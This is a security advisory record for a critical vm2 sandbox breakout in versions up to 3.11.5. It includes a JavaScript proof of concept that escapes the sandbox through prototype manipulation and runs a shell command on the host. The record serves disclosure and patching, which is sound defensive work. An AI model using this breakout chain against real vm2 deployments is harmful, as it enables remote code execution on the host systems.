{"id":"GHSA-cfcw-xp6x-25gj","summary":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","details":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","aliases":["CVE-2026-47698"],"modified":"2026-08-17T17:56:03.510751Z","published":"2026-08-17T17:32:41Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-17T17:32:41Z","nvd_published_at":null,"cwe_ids":["CWE-913"]},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/3.11.6"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.6"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.11.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-cfcw-xp6x-25gj/GHSA-cfcw-xp6x-25gj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}